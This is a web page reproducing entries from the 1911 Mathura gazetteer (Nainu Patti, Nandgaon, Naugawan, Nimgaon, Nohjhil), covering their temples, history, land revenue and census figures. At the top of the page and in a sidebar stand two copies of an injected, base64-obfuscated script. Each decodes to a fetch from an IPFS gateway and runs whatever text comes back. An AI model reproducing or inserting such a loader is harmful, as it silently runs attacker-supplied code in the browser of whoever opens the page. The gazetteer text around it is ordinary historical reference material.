Mathura A Gazetteer-17
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar> | |||||||||
| |||||||||
MATHURA A GAZETTEER,
edited and compiled by, D.L. DRAKE-BROCKMAN [1911]
DIRECTORY
NAINU PATTI, Tahsil MUTTRA.
A large mauza lying in 27°25'N. and 77°30'E., close to the unmetalled road from Muttra to Sonkh, at a distance of 14 miles from the former and two miles north from the latter place. The village consists of eleven distinct mahals, Arazi Shamilat, Daupura, Jangali Bari, Khilu, Saida and nagaras Bhau, Bhunchha, Chauthaiya, Ghaniya, Kalan and Kanku. Ten of these were formed by the sons and relations of the original Jat proprietor Nainu, while Arazi Shamilat has been formed out of some land which was held muafi by a Bairagi and was subsequently resumed. The Jats were preceded by Kirars. The area of the united township is 3,238 acres and it is assessed to a revenue demand of Rs. 4,470. The zamindars are for the most part Jats, but a considerable area has passed to Pandit Shimbhu Nath, a Kashmiri Brahman. The population in 1901 amounted to 2,798 persons, of whom 2,753 were Hindus and 45 Muhammadans, Jats being the predominant Hindu caste.
NANDGAON, Tahsil CHHATA.
The village of Nandgaon lies at the foot of the same hill on which Barsana is situated, in 27°43'N. and 77°23'E. The distance between the two places is only five miles; but Nandgaon is 29 miles north-west of Muttra and eight miles west from Chhata. It is the reputed home of Krishna's foster-father, Nanda, and on the brow of the hill which overlooks the village is the spacious temple of Nand Rae Ji. The temple, though large, has no architectural merit and apparently only dates from the middle of last century. Its reputed founder is one Rup Singh, a Sinsinwar Jat. It consists of an open nave, with choir and sacrarium beyond, the latter being flanked on either side by a rasoi and a sej-mahal, that is a cooking and sleeping apartment, and has two towers or sikharas. It stands in the centre of a paved courtyard, surrounded by a lofty wall with corner kiosks, which command an extensive view. The village, which clusters at the foot and on the slope of the rock, contains a few hand-some houses, the most noticeable being one erected by Rup Ram of Barsana. There are small temples dedicated to Narsinha, Gopinath, Nritya Gopal, Girdhari, Nanda Nandan, Radha Mohan and Manasa Devi; and one on a larger scale, standing in a courtyard of its own, half-way up the hill, which bears the title of Jasoda Nandan, and is much in the same style and apparently of the same: date as the temple of Nand Rae, or perhaps a little older. A flight of 114 broad steps, constructed of well-wrought stone from the Bharatpur quarries, leads from the level of the plain up to the steep and narrow street which terminates at the main entrance of the great temple. This staircase was made at the cost of Babu Gaur Prasad of Calcutta in the year 1818 A.D. At the foot of the hill is a large unfinished square with a range of stone buildings on one side for the reception of pilgrims and dealers, and at the back an extensive garden, the property of the Raja of Bharatpur. A little beyond this is the sacred lake called Pan Sarovar, a fine large street of water with masonry ghats on all its sides, the work of one of the Rajas of Burdwan. This is one of the four lakes of highest repute in Braj; the others being the Chandra Sarovar at Parsoli, near Gobardhan; the Pram Sarovar at Ghazipur, near Barsana; and the Man Sarovar at Arua, in Mat tahsil. The Pan Sarovar is supposed to be the pool where Krishna used to drive the cows to water (pani). Near the village is a kadamb grove, called Udho-ji-ka kyar, and, according to popular belief, there are within the limits of Nandgaon no less than 56 sacred lakes or kunds, though it is admitted that all of them are not readily visible.
The total area of the village of Nandgaon is 5,243 acres, and the proprietary right was transferred in 1811 A.D. to the Lala Babe by the then zamindars. The population, which in 1881 numbered 3,253 persons, rose to 4,368 in 1901; of this total 4,212 were Hindus and 156 were Musalmans. Jats are the predominant Hindu caste. Nandgaon contains an upper primary school, attended by some 25 boys. The Village Sanitation Act (U. P. Act II of 1892) is in force in the village.
NAUGAWAN, Tahsil SADABAD.
This village which is also called Naugama lies in 27°26'N. and 78°0'E. close to the metalled road from Muttra to Sadabad: it is 21 miles distant from the former and three miles distant from the latter place. Naugawan is a large village and has an area of 3,480 acres, assessed to a revenue of Rs. 8,545. The population in 1901 numbered 3,927 souls, of whom 3,652 were Hindus, 250 Muhammadans and 25 of other religions. The village was founded by three Jats named Dhani, Pachauri and Adu; and is still owned for the most part by their descendants. There is a primary school in the village, and market is held every Monday and Thursday.
NAUGAWAN, Tahsil CHHATA.
This village is situated nearly midway between Jait and Shergarh, on the unmetalled road which connects those places. It lies in 27°42'N. and 77°38'E., at a distance of 17 miles from Muttra. The village has now an area of 3,515 acres and is assessed to a revenue of Rs. 5,467; but in former days it was considered a part of Taroli, until it was separated by those of the zamindars who adopted the faith of Islam. The present proprietor is Baba Kalyan Singh Bhargava, but the predominant caste in the village is that of Malkhanas. In 1901 the population of the place numbered 2,690 persons, 1,900 being Musalmans.
NIMGAON, Tahsil MAHABAN.
This village lies in 27°39'N. and 77°50'E., in the extreme north of Mahaban tahsil. It is 15 miles distant from both Muttra and Mahaban. Nimgaon has an area of 6,100 acres and is assessed to a demand of Rs. 5,622. It was founded by Jats from Aira Khera, and Jats are still the principal caste both inhabiting and owning the village. The population increased from 2,449 persons in 1881 to 2,644 in 1901; of the latter number 2,446 were Hindus and 198 were Muhammadan. The place contains a primary school.
NOHJHIL, Tahsil MAT.
The village of Nohjhil lies in 27°51'N. and 77°40'E., at a distance of 30 miles from Muttra and 18 miles from Mat; with the latter it is connected by an unmetalled road. The village derives the latter part of its name from the large lake, supposed to have been an old bed of the Jumna, of which a description has been given in Chapter I; while the first portion is the Arabic form of the name of the patriarch which in English is ordinarily written Noah. The centre of the site is occupied by an extensive mud fort, built about the year 1740 by Thakur Devi Singh, an officer of the Bharatpur Rajas. It is now in ruins, but its crumbling bastions command a fine view of the jhil that spreads beneath it. Until the year 1860, Nohjhil was the headquarters of a separate tahsil now incorporated in Mat; and in 1826 the tahsili was built within the enclosure of this fort. The buildings were subsequently, at the abolition of the tahsil, converted into a police station. In the same locality is a lofty tower built in 1836 for the purposes of the trigonometrical survey. Outside the village is a Muhammadan makbara or tomb, called the dargah of Makhdum Sheikh Sahib Shah Hasan Ghori, traditionally ascribed to a Dor Raja of Kol who flourished in the sixteenth century. The buildings are now in a dilapidated condition, but include a covered colonnade of twenty pillars which has been constructed out of the wreck of a Hindu or Buddhist temple. The pillars are exceptional in two respects; first, as being all of uniform design, an anomaly in Hindu architecture; secondly, as being, though of fair height, each cut out of a single block of stone. The saint's urs or fair is held on the fourteenth day of the month Ramazan, and his tomb is visited by some of the people in the neighbourhood every Thursday evening.
The original proprietors of Nohjhil were Chauhan Rajputs who were expelled in the thirteenth century by some data from Narwari near Tappal, and others from Jartauli near Khair, in the Aligarh district; these data afterwards acquired the name of Nohwar. In the seventeenth century some Biluchis were stationed here by the emperor of Dehli, for the express purpose of overawing the Jats; but their occupation did not last above 80 years. On June 4th, 1857, the Nohwar Jats of Nohjhil with their kinsmen from Musmina and Parsoli attacked the fort and plundered all the inhabitants, except the Brahmans. The lumbardar, Ghaus Muhammad, was killed, and all the Government officials fled to the village of Thera, where the Malkhana zamindars gave them shelter. At the time of the Mutiny four and a quarter biswas of alluvial land, called the lana, were in the possession of the rebel Umrao Bahadur; these were confiscated and given to Seth Lakhmi Chand.
The population of Nohjhil has increased of late years; in 1881 it numbered 2,675 persons, and in 1901 had risen to 2,827. Of this number 1,946 were Hindus, 875 Musalmans and six of other religions. The village contains a police station, pound, a post-office and primary school. A weekly market is held on Fridays. The total area is 3,163 acres and the revenue demand Rs.5,481. The zamindars are a mixed community of Brahmans, Musalmans and Banias, and part of the estate forms a portion of the endowment of the Dwarka Dhis temple at Muttra.